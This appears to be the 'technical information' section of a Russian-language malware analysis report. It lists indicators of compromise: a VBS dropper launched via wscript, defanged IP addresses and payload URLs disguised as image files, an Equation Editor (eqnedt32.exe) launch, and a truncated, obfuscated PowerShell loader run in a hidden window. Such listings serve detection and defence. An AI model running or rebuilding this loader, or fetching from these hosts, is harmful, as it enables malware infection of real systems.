Техническая информация
- '%WINDIR%\syswow64\wscript.exe' "%APPDATA%\erynicepeoplesaroundmewithgreatnews.vbs"
- %APPDATA%\erynicepeoplesaroundmewithgreatnews.vbs
- '20#.#02.232.170':80
- '10#.#74.202.139':80
- http://20#.#02.232.170/xampp/nics/verynicepeoplesaroundmewithgreatnews.gif
- http://10#.#74.202.139/img/new_image.jpg
- '%CommonProgramFiles%\microsoft shared\equation\eqnedt32.exe' -Embedding
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -NoProfile -Command "$Codigo = 'J@#@#@!Bk@#@#@!Hk@#@#@!ZQBz@#@#@!HQ@#@#@!dQBm@#@#@!GY@#@#@!I@#@#@!@#@#@!9@#@#@!C@#@#@!@#@#@!JwB0@#@#@!Hg@#@#@!d@#@#@!@#@#@!u@#@#@!HM@#@#@!dwBl@#@#@!G4@#@#@!d@#@#... (со скрытым окном)